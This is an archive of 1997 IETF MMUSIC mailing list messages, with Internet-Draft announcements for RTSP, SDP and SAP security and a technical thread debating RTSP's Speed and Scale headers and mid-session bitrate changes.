Content-Type: text/plain
Content-ID: <19970327170442.I-D@ietf.org>

--OtherAccess--

--NextPart--

From majordom@ISI.EDU  Fri Mar 28 03:21:13 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04617>; Fri, 28 Mar 1997 11:24:37 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04606>; Fri, 28 Mar 1997 11:24:31 -0800
Received: from woodstock.CS.Berkeley.EDU by venera.isi.edu (5.65c/5.61+local-26)
	id <AA10537>; Fri, 28 Mar 1997 11:24:30 -0800
Received: from woodstock.cs.berkeley.edu (localhost.Berkeley.EDU [127.0.0.1]) by woodstock.cs.berkeley.edu (8.8.4/8.8.2) with ESMTP id LAA20948; Fri, 28 Mar 1997 11:21:19 -0800 (PST)
From: Larry Rowe <larry@CS.Berkeley.EDU>
Message-Id: <199703281921.LAA20948@woodstock.cs.berkeley.edu>
X-Mailer: exmh version 1.6.9 8/22/96
To: Sampo Syreeni <decoy@edu.lahti.fi>
Cc: Eric Fleischman <ericfl@microsoft.com>,
        "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: Re: Speed field in RTSP 
Reply-To: Rowe@bmrc.berkeley.edu
In-Reply-To: Your message of "Fri, 28 Mar 1997 15:04:32 +0200."
             <Pine.LNX.3.95.970328150215.9746D-100000@nexus.edu.lahti.fi> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 28 Mar 1997 11:21:13 -0800
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi -

I have watched the discussion on the speed/rate issue for some time.  We have 
been developing and using a toolkit, the Berkeley Continuous Media Toolkit, 
for the past four years that has the speed attribute built-in to the logical 
time system and playback abstractions.  The CMT logical time system (LTS) 
abstraction has a speed property that can be positive or negative. We find it 
a very useful construct.  Obviously not all sources can support backward play, 
but who cares, the software just ignores that situation.  That is, the LTS 
runs backwards, but objects that don't have any actions to take when that 
happens just ignore it.  This is probably too detailed for this discussion, 
but I want to *strongly* support Eric's arguments for a speed attribute that 
can be positive and negative.

I'll also weigh in on the bitrate issue.  Clearly, the standard must support 
the use of scalable codecs that might dynamically alter the bitrate being sent 
based on any number of characteristics (e.g., decoding speed of the client, 
channel capacity/jitter, server capacity, etc.).  In addition, it must allow a 
client to select a stream bitrate when it is established.  It might make sense 
to allow the client to request a change in the bitrate or the format when the 
stream is paused.  The issue from my perspective is that we will have a 
heterogeneous network for a long time to come and content providers want to 
produce products that can be played differently on different networks. The 
playback system must accomodate this feature.  I'm not sure it needs to be 
built into the server protocol, but it should be possible to implement these 
features.
	Larry  
-- 
Professor Lawrence A. Rowe               Internet:  Rowe@BMRC.Berkeley.EDU
Computer Science Division - EECS         Phone: 510-642-5117
University of California, Berkeley       Fax: 510-642-5615
Berkeley, CA 94720-1776
URL: http://www.bmrc.berkeley.edu/~larry




From majordom@ISI.EDU  Fri Mar 28 05:19:05 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05756>; Fri, 28 Mar 1997 11:46:52 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA05750>; Fri, 28 Mar 1997 11:46:51 -0800
Received: from ietf.org by venera.isi.edu (5.65c/5.61+local-26)
	id <AA11829>; Fri, 28 Mar 1997 11:46:50 -0800
Received: from ietf.ietf.org by ietf.org id aa16814; 28 Mar 97 10:19 EST
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@isi.edu
From: Internet-Drafts@ietf.org
Reply-To: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-rtsp-02.txt, .ps
Date: Fri, 28 Mar 1997 10:19:05 -0500
Message-Id:  <9703281019.aa16814@ietf.org>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

--NextPart

 A Revised Internet-Draft is available from the on-line Internet-Drafts 
 directories. This draft is a work item of the Multiparty Multimedia 
 Session Control Working Group of the IETF.                                

       Title     : Real Time Streaming Protocol (RTSP)                     
       Author(s) : H. Schulzrinne, A. Rao, R. Lanphier
       Filename  : draft-ietf-mmusic-rtsp-02.txt, .ps
       Pages     : 62
       Date      : 03/26/1997

The Real Time Streaming Protocol, or RTSP, is an application-level protocol
for control over the delivery of data with real-time properties. RTSP 
provides an extensible framework to enable controlled, on-demand delivery 
of real-time data, such as audio and video. Sources of data can include 
both live data feeds and stored clips. This protocol is intended to control
multiple data delivery sessions, provide a means for choosing delivery 
channels such as UDP, multicast UDP and TCP, and delivery mechanisms based 
upon RTP (RFC 1889).                                                       

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
     "get draft-ietf-mmusic-rtsp-02.txt".
 Or 
     "get draft-ietf-mmusic-rtsp-02.ps".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-rtsp-02.txt
 
Internet-Drafts directories are located at:	
	                                                
     o  Africa:  ftp.is.co.za                    
	                                                
     o  Europe:  ftp.nordu.net            	
                 ftp.nis.garr.it                 
	                                                
     o  Pacific Rim: munnari.oz.au               
	                                                
     o  US East Coast: ds.internic.net           
	                                                
     o  US West Coast: ftp.isi.edu               
	                                                
Internet-Drafts are also available by mail.	
	                                                
Send a message to:  mailserv@ds.internic.net. In the body type: 
     "FILE /internet-drafts/draft-ietf-mmusic-rtsp-02.txt".
 Or 
     "FILE /internet-drafts/draft-ietf-mmusic-rtsp-02.ps".
							
NOTE: The mail server at ds.internic.net can return the document in
      MIME-encoded form by using the "mpack" utility.  To use this
      feature, insert the command "ENCODING mime" before the "FILE"
      command.  To decode the response(s), you will need "munpack" or
      a MIME-compliant mail reader.  Different MIME-compliant mail readers
      exhibit different behavior, especially when dealing with
      "multipart" MIME messages (i.e., documents which have been split
      up into multiple messages), so check your local documentation on
      how to manipulate these messages.
							
							

Below is the data which will enable a MIME compliant mail reader 
implementation to automatically retrieve the ASCII version
of the Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID: <19970327132431.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-rtsp-02.txt

--OtherAccess
Content-Type:   Message/External-body;
        name="draft-ietf-mmusic-rtsp-02.txt";
        site="ds.internic.net";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID: <19970327132431.I-D@ietf.org>

--OtherAccess--

--NextPart--


From majordom@ISI.EDU  Fri Mar 28 05:19:37 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07171>; Fri, 28 Mar 1997 12:10:56 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07165>; Fri, 28 Mar 1997 12:10:54 -0800
Received: from ietf.org by venera.isi.edu (5.65c/5.61+local-26)
	id <AA13459>; Fri, 28 Mar 1997 12:10:53 -0800
Received: from ietf.ietf.org by ietf.org id aa17077; 28 Mar 97 10:19 EST
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@isi.edu
From: Internet-Drafts@ietf.org
Reply-To: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sap-sec-00.txt
Date: Fri, 28 Mar 1997 10:19:37 -0500
Message-Id:  <9703281019.aa17077@ietf.org>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

--NextPart

 A New Internet-Draft is available from the on-line Internet-Drafts 
 directories. This draft is a work item of the Multiparty Multimedia 
 Session Control Working Group of the IETF.                                

       Title     : Specification of Security in SAP Using Public Key 
                   Algorithms                                              
       Author(s) : P. Kirstein, G. Montasser-Kohsari, E. Whelan
       Filename  : draft-ietf-mmusic-sap-sec-00.txt
       Pages     : 20
       Date      : 03/27/1997

The Session Announcement Protocol (SAP) is specified in such a way that 
authentication and privacy can be assured. However but the algorithms and 
mechanisms to achieve such security are not prescribed in the current 
draft. This document extends the SAP protocol, by describing specific 
algorithms and formats of authentication and encryption formats based on 
the PGP and PKCS#7 standards. It is a companion document to 
draft-ietf-mmusic-sap.                    
                                 
This document is a product of the Multiparty Multimedia Session Control 
(MMUSIC) working group of the Internet Engineering Task Force Comments are 
solicited and should be addressed to the working group's mailing list at 
confctrl@isi.edu and/or the authors.                                       

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
     "get draft-ietf-mmusic-sap-sec-00.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sap-sec-00.txt
 
Internet-Drafts directories are located at:	
	                                                
     o  Africa:  ftp.is.co.za                    
	                                                
     o  Europe:  ftp.nordu.net            	
                 ftp.nis.garr.it                 
	                                                
     o  Pacific Rim: munnari.oz.au               
	                                                
     o  US East Coast: ds.internic.net           
	                                                
     o  US West Coast: ftp.isi.edu               
	                                                
Internet-Drafts are also available by mail.	
	                                                
Send a message to:  mailserv@ds.internic.net. In the body type: 
     "FILE /internet-drafts/draft-ietf-mmusic-sap-sec-00.txt".
							
NOTE: The mail server at ds.internic.net can return the document in
      MIME-encoded form by using the "mpack" utility.  To use this
      feature, insert the command "ENCODING mime" before the "FILE"
      command.  To decode the response(s), you will need "munpack" or
      a MIME-compliant mail reader.  Different MIME-compliant mail readers
      exhibit different behavior, especially when dealing with
      "multipart" MIME messages (i.e., documents which have been split
      up into multiple messages), so check your local documentation on
      how to manipulate these messages.
							
							

Below is the data which will enable a MIME compliant mail reader 
implementation to automatically retrieve the ASCII version
of the Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID: <19970327133859.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sap-sec-00.txt

--OtherAccess
Content-Type:   Message/External-body;
        name="draft-ietf-mmusic-sap-sec-00.txt";
        site="ds.internic.net";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID: <19970327133859.I-D@ietf.org>

--OtherAccess--

--NextPart--


From majordom@ISI.EDU  Fri Mar 28 05:23:42 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10098>; Fri, 28 Mar 1997 13:09:39 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10092>; Fri, 28 Mar 1997 13:09:37 -0800
Received: from ietf.org by venera.isi.edu (5.65c/5.61+local-26)
	id <AA16837>; Fri, 28 Mar 1997 13:09:36 -0800
Received: from ietf.ietf.org by ietf.org id aa18026; 28 Mar 97 10:23 EST
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@isi.edu
From: Internet-Drafts@ietf.org
Reply-To: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-03.txt, .ps
Date: Fri, 28 Mar 1997 10:23:42 -0500
Message-Id:  <9703281023.aa18026@ietf.org>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

--NextPart

 A Revised Internet-Draft is available from the on-line Internet-Drafts 
 directories. This draft is a work item of the Multiparty Multimedia 
 Session Control Working Group of the IETF.                                

       Title     : SDP: Session Description Protocol                       
       Author(s) : M. Handley, V. Jacobson
       Filename  : draft-ietf-mmusic-sdp-03.txt, .ps
       Pages     : 33
       Date      : 03/26/1997

This document defined the Session Description Protocol, SDP.  SDP is 
intended for describing multimedia sessions for the purposes of session 
announcement, session invitation, and other forms of session initiation. 
  
This document is a product of the Multiparty Multimedia Session Control 
(MMUSIC) working group of the Internet Engineering Task Force.  Comments 
are solicited and should be addressed to the working group's mailing list 
at confctrl@isi.edu and/or the authors.                                    

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
     "get draft-ietf-mmusic-sdp-03.txt".
 Or 
     "get draft-ietf-mmusic-sdp-03.ps".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sdp-03.txt
 
Internet-Drafts directories are located at:	
	                                                
     o  Africa:  ftp.is.co.za                    
	                                                
     o  Europe:  ftp.nordu.net            	
                 ftp.nis.garr.it                 
	                                                
     o  Pacific Rim: munnari.oz.au               
	                                                
     o  US East Coast: ds.internic.net           
	                                                
     o  US West Coast: ftp.isi.edu               
	                                                
Internet-Drafts are also available by mail.	
	                                                
Send a message to:  mailserv@ds.internic.net. In the body type: 
     "FILE /internet-drafts/draft-ietf-mmusic-sdp-03.txt".
 Or 
     "FILE /internet-drafts/draft-ietf-mmusic-sdp-03.ps".
							
NOTE: The mail server at ds.internic.net can return the document in
      MIME-encoded form by using the "mpack" utility.  To use this
      feature, insert the command "ENCODING mime" before the "FILE"
      command.  To decode the response(s), you will need "munpack" or
      a MIME-compliant mail reader.  Different MIME-compliant mail readers
      exhibit different behavior, especially when dealing with
      "multipart" MIME messages (i.e., documents which have been split
      up into multiple messages), so check your local documentation on
      how to manipulate these messages.
							
							

Below is the data which will enable a MIME compliant mail reader 
implementation to automatically retrieve the ASCII version
of the Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID: <19970327122203.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-03.txt

--OtherAccess
Content-Type:   Message/External-body;
        name="draft-ietf-mmusic-sdp-03.txt";
        site="ds.internic.net";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID: <19970327122203.I-D@ietf.org>

--OtherAccess--

--NextPart--

From majordom@ISI.EDU  Fri Mar 28 05:28:58 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11317>; Fri, 28 Mar 1997 13:32:03 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11307>; Fri, 28 Mar 1997 13:31:59 -0800
Received: from cronus.rockisland.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA18202>; Fri, 28 Mar 1997 13:31:58 -0800
Received: from Gray (nts11.rockisland.com [199.217.72.61]) by cronus.rockisland.com (8.8.2/8.6.9) with SMTP id NAA17225; Fri, 28 Mar 1997 13:22:44 -0800 (PST)
Message-Id: <1.5.4.32.19970328212858.0084b15c@CreativeConnections.com>
X-Sender: grayc@CreativeConnections.com
X-Mailer: Windows Eudora Light Version 1.5.4 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 28 Mar 1997 13:28:58 -0800
To: Rowe@bmrc.berkeley.edu
From: Gray Cope <grayc@CreativeConnections.com>
Subject: Re: Speed field in RTSP 
Cc: ericfl@MICROSOFT.com, confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I'm confused.  Wasn't Eric arguing against using negative values for speed 
and wants a scale field that can be negative instead?

At 11:21 AM 3/28/97 -0800, you wrote:
>happens just ignore it.  This is probably too detailed for this discussion, 
>but I want to *strongly* support Eric's arguments for a speed attribute that 
>can be positive and negative.

At 03:23 PM 3/26/97 -0800, Eric Fleischman wrote:
>>Speed in the current spec can be a negative number. I believe that this
>>should never be permitted to occur because a negative number is not
>>physically possible: the sink never becomes the source. Rather, what
>>should occur is for the scale field to be permitted to be a negative
>>number.



From majordom@ISI.EDU  Fri Mar 28 06:00:25 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13137>; Fri, 28 Mar 1997 14:07:41 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13131>; Fri, 28 Mar 1997 14:07:39 -0800
Received: from INET-05-IMC.microsoft.com (mail5.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA20386>; Fri, 28 Mar 1997 14:07:38 -0800
Received: by INET-05-IMC with Internet Mail Service (5.0.1457.3)
	id <HXLQB9T2>; Fri, 28 Mar 1997 14:03:06 -0800
Message-Id: <503A2A3C2932CF118D8800805FD44E1802F46B35@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: "'Rowe@bmrc.berkeley.edu'" <Rowe@bmrc.berkeley.edu>,
        Sampo Syreeni
	 <decoy@edu.lahti.fi>
Cc: "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: RE: Speed field in RTSP 
Date: Fri, 28 Mar 1997 14:00:25 -0800
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1457.3)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Actually, my arguments are:
1.  Rewind (and backwards-play) should be handled by making the Scale
header (within the PLAY or RECORD methods) negative with the rate of
timeline advancement (whether positive or negative) determined by the
scale value (e.g. Scale:-2 means rewind at 2x speed).
2.  However, if both speed and scale headers are present and both are
negative then we have an indeterminate state. For this reason, speed
should never be permitted to become negative because a negative speed is
really a physical impossibility: the source never becomes the sink.
3.  In fact, the speed header should be eliminated altogether because it
is a dangerous, network unfriendly idea. Rather, if one wishes to
increase the consumed bandwidth for that session then that should rather
occur via mid-session negotiation between the client and the server via
the DESCRIBE method -- either that or else via standard RTP methods to
accomplish the same effect.

	-----Original Message-----
	From:	Larry Rowe [SMTP:larry@CS.Berkeley.EDU]
	Sent:	Friday, March 28, 1997 11:21 AM
	To:	Sampo Syreeni
	Cc:	Eric Fleischman; 'confctrl@isi.edu'
	Subject:	Re: Speed field in RTSP 

	Hi -

	I have watched the discussion on the speed/rate issue for some
time.  We have 
	been developing and using a toolkit, the Berkeley Continuous
Media Toolkit, 
	for the past four years that has the speed attribute built-in to
the logical 
	time system and playback abstractions.  The CMT logical time
system (LTS) 
	abstraction has a speed property that can be positive or
negative. We find it 
	a very useful construct.  Obviously not all sources can support
backward play, 
	but who cares, the software just ignores that situation.  That
is, the LTS 
	runs backwards, but objects that don't have any actions to take
when that 
	happens just ignore it.  This is probably too detailed for this
discussion, 
	but I want to *strongly* support Eric's arguments for a speed
attribute that 
	can be positive and negative.

	I'll also weigh in on the bitrate issue.  Clearly, the standard
must support 
	the use of scalable codecs that might dynamically alter the
bitrate being sent 
	based on any number of characteristics (e.g., decoding speed of
the client, 
	channel capacity/jitter, server capacity, etc.).  In addition,
it must allow a 
	client to select a stream bitrate when it is established.  It
might make sense 
	to allow the client to request a change in the bitrate or the
format when the 
	stream is paused.  The issue from my perspective is that we will
have a 
	heterogeneous network for a long time to come and content
providers want to 
	produce products that can be played differently on different
networks. The 
	playback system must accomodate this feature.  I'm not sure it
needs to be 
	built into the server protocol, but it should be possible to
implement these 
	features.
		Larry  
	-- 
	Professor Lawrence A. Rowe               Internet:
Rowe@BMRC.Berkeley.EDU
	Computer Science Division - EECS         Phone: 510-642-5117
	University of California, Berkeley       Fax: 510-642-5615
	Berkeley, CA 94720-1776
	URL: http://www.bmrc.berkeley.edu/~larry



From majordom@ISI.EDU  Fri Mar 28 09:42:42 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24415>; Fri, 28 Mar 1997 17:42:48 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24409>; Fri, 28 Mar 1997 17:42:45 -0800
Received: from woodstock.CS.Berkeley.EDU by venera.isi.edu (5.65c/5.61+local-26)
	id <AA02863>; Fri, 28 Mar 1997 17:42:45 -0800
Received: from woodstock.cs.berkeley.edu (localhost.Berkeley.EDU [127.0.0.1]) by woodstock.cs.berkeley.edu (8.8.4/8.8.2) with ESMTP id RAA27385; Fri, 28 Mar 1997 17:42:43 -0800 (PST)
From: Larry Rowe <larry@CS.Berkeley.EDU>
Message-Id: <199703290142.RAA27385@woodstock.cs.berkeley.edu>
X-Mailer: exmh version 1.6.9 8/22/96
To: Eric Fleischman <ericfl@microsoft.com>
Cc: Sampo Syreeni <decoy@edu.lahti.fi>,
        "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: Re: Speed field in RTSP 
Reply-To: Rowe@bmrc.berkeley.edu
In-Reply-To: Your message of "Fri, 28 Mar 1997 14:00:25 PST."
             <503A2A3C2932CF118D8800805FD44E1802F46B35@RED-68-MSG.dns.microsoft.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 28 Mar 1997 17:42:42 -0800
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Excuse me, I meant to say "scale" not "speed."  Speed is the parameter name we 
use for the LTS abstraction in CMT.
	Larry


From majordom@ISI.EDU  Sat Apr  1 06:50:17 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10368>; Sat, 29 Mar 1997 08:50:38 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10362>; Sat, 29 Mar 1997 08:50:36 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA26715>; Sat, 29 Mar 1997 08:50:36 -0800
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id LAA06565; Sat, 29 Mar 1997 11:50:30 -0500 (EST)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id LAA23315; Sat, 29 Mar 1997 11:50:17 -0500 (EST)
Message-Id: <333D4849.300D@cs.columbia.edu>
Date: Sat, 29 Mar 1997 11:50:17 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Eric Fleischman <ericfl@MICROSOFT.com>
Cc: confctrl@ISI.EDU
Subject: Re: Speed field in RTSP
References: <503A2A3C2932CF118D8800805FD44E1802F46B35@RED-68-MSG.dns.microsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

"Scale" should be in the current I-D that was just announced. Since
nobody spoke up in favor of a negative Speed value, that is gone from
the next iteration.

The current spec contains the "bandwidth" header which would allow
specification of client bandwidth availability for scaling (although
this is probably more properly done by RTCP in many cases). Currently,
it is spec'ed only for SETUP, but I see no good reason why a client
could not indicate it in PLAY and RECORD, if it becomes aware of
changes. 

The bandwidth available to the client may change during 
an RTSP session, e.g., due to modem retraining.

After all, a server is free to ignore the advice (at its own and the 
peril, naturally).

Since Anup (if I remember correctly) has in the past argued for the
"Speed" functionality and he's currently out of email reach, I'd like to
give him a chance to respond with his thoughts on this issue.

Henning
-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Sun Apr  2 19:06:52 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22131>; Sun, 30 Mar 1997 05:04:41 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22125>; Sun, 30 Mar 1997 05:04:37 -0800
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA25369>; Sun, 30 Mar 1997 05:04:36 -0800
Received: (qmail 31318 invoked by uid 1067); 30 Mar 1997 13:06:52 -0000
Date: Sun, 30 Mar 1997 16:06:52 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Rowe@bmrc.berkeley.edu
Cc: Eric Fleischman <ericfl@microsoft.com>,
        "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: Re: Speed field in RTSP 
In-Reply-To: <199703281921.LAA20948@woodstock.cs.berkeley.edu>
Message-Id: <Pine.LNX.3.95.970330155423.31134B-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Fri, 28 Mar 1997, Larry Rowe wrote:

>time system and playback abstractions.  The CMT logical time system (LTS) 
>abstraction has a speed property that can be positive or negative. We find it 
>a very useful construct.  Obviously not all sources can support backward play, 
>but who cares, the software just ignores that situation.

I agree that there is real use for the 'scale' parameter. And also
negative ones. But there are synchronization issues that have not been
resolved. How about in your product? But the modification of removing
negative 'bit rates' is a good one also as one hardly needs negative
transmission speeds.

>I'll also weigh in on the bitrate issue.  Clearly, the standard must support 
>the use of scalable codecs that might dynamically alter the bitrate being sent 
>based on any number of characteristics (e.g., decoding speed of the client, 
>channel capacity/jitter, server capacity, etc.).

True. But I think that this can be implemented out-of-band (in respect to 
RTSP), that is, through the stream transport mechanism. At least most
varispeed codecs that respond to congestion do it through monitoring acks
and sending information about the changes in the stream itself. And this
is also more stable: congestion, delays and other bottlenecks that might
affect RTSP transmissions do not get in the way when using this approach.

>In addition, it must allow a 
>client to select a stream bitrate when it is established.

That is very reasonable.

>It might make sense 
>to allow the client to request a change in the bitrate or the format when the 
>stream is paused.

Why? Can you give any examples?

>The issue from my perspective is that we will have a 
>heterogeneous network for a long time to come and content providers want to 
>produce products that can be played differently on different networks. The 
>playback system must accomodate this feature.

I think the issue has been whether to allow for changing the bit rates
after the resources have already been reserved, that is, the routes have
been established for the data flow. And this is certainly something that
should not be encouraged. This is a bit different from what you described
above as the above problem of responding to network load and end point
latencies mainly calls for (temporary) throttleback. What the bit rate
parameter would do, however, is, it would allow for artificially raising
the data rate in the middle of transmission. This isn't good from neither
the routing nor the good-netizen point of view.

>I'm not sure it needs to be built into the server protocol,

Indeed.

>but it should be possible to implement these features.

So more discussion is obviously needed.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Sun Apr  2 19:07:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22145>; Sun, 30 Mar 1997 05:05:14 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22139>; Sun, 30 Mar 1997 05:05:13 -0800
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA25408>; Sun, 30 Mar 1997 05:05:11 -0800
Received: (qmail 31326 invoked by uid 1067); 30 Mar 1997 13:07:32 -0000
Date: Sun, 30 Mar 1997 16:07:32 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Gray Cope <grayc@CreativeConnections.com>
Cc: Rowe@bmrc.berkeley.edu, ericfl@MICROSOFT.com, confctrl@ISI.EDU
Subject: Re: Speed field in RTSP 
In-Reply-To: <1.5.4.32.19970328212858.0084b15c@CreativeConnections.com>
Message-Id: <Pine.LNX.3.95.970330160705.31134C-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Fri, 28 Mar 1997, Gray Cope wrote:

>I'm confused.  Wasn't Eric arguing against using negative values for speed 
>and wants a scale field that can be negative instead?

Yep. But perhaps the terminology is a bit hazy sometimes.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Sun Apr  2 01:39:26 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24355>; Sun, 30 Mar 1997 09:39:59 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24347>; Sun, 30 Mar 1997 09:39:58 -0800
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA00631>; Sun, 30 Mar 1997 09:39:57 -0800
Received: from robla.dev.prognet.com (PPPbug-4.prognet.com) by murrow.prognet.com with SMTP id AA24115
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Sun, 30 Mar 1997 09:49:48 -0800
Message-Id: <3.0.32.19970330093923.00dba348@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Sun, 30 Mar 1997 09:39:26 -0800
To: Sampo Syreeni <decoy@edu.lahti.fi>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: Speed field in RTSP 
Cc: "'confctrl@isi.edu'" <confctrl@isi.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 04:06 PM 3/30/97 +0300, Sampo Syreeni wrote:
>I think the issue has been whether to allow for changing the bit rates
>after the resources have already been reserved, that is, the routes have
>been established for the data flow. And this is certainly something that
>should not be encouraged. This is a bit different from what you described
>above as the above problem of responding to network load and end point
>latencies mainly calls for (temporary) throttleback. What the bit rate
>parameter would do, however, is, it would allow for artificially raising
>the data rate in the middle of transmission. This isn't good from neither
>the routing nor the good-netizen point of view.

Isn't this what TCP slow start does on a regular basis?

Let's say that you have a stream that takes far less than the available
bandwidth, and you would like to buffer up a large portion of the stream
while the network is clear, so that you can scale back later when the
network is congested.

There are other uses for this, but rather than getting into those, please
explain why non-RSVP routers care what the data rate is.  Also please
explain why variable bitrates are not good from a "good-netizen" point of
view.  The reason why I ask is because we've taken heat before as "non net
friendly" for *not* responding to network conditions, and now you are
alarmed by the mechanism which would allow for that.

Thanks
Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
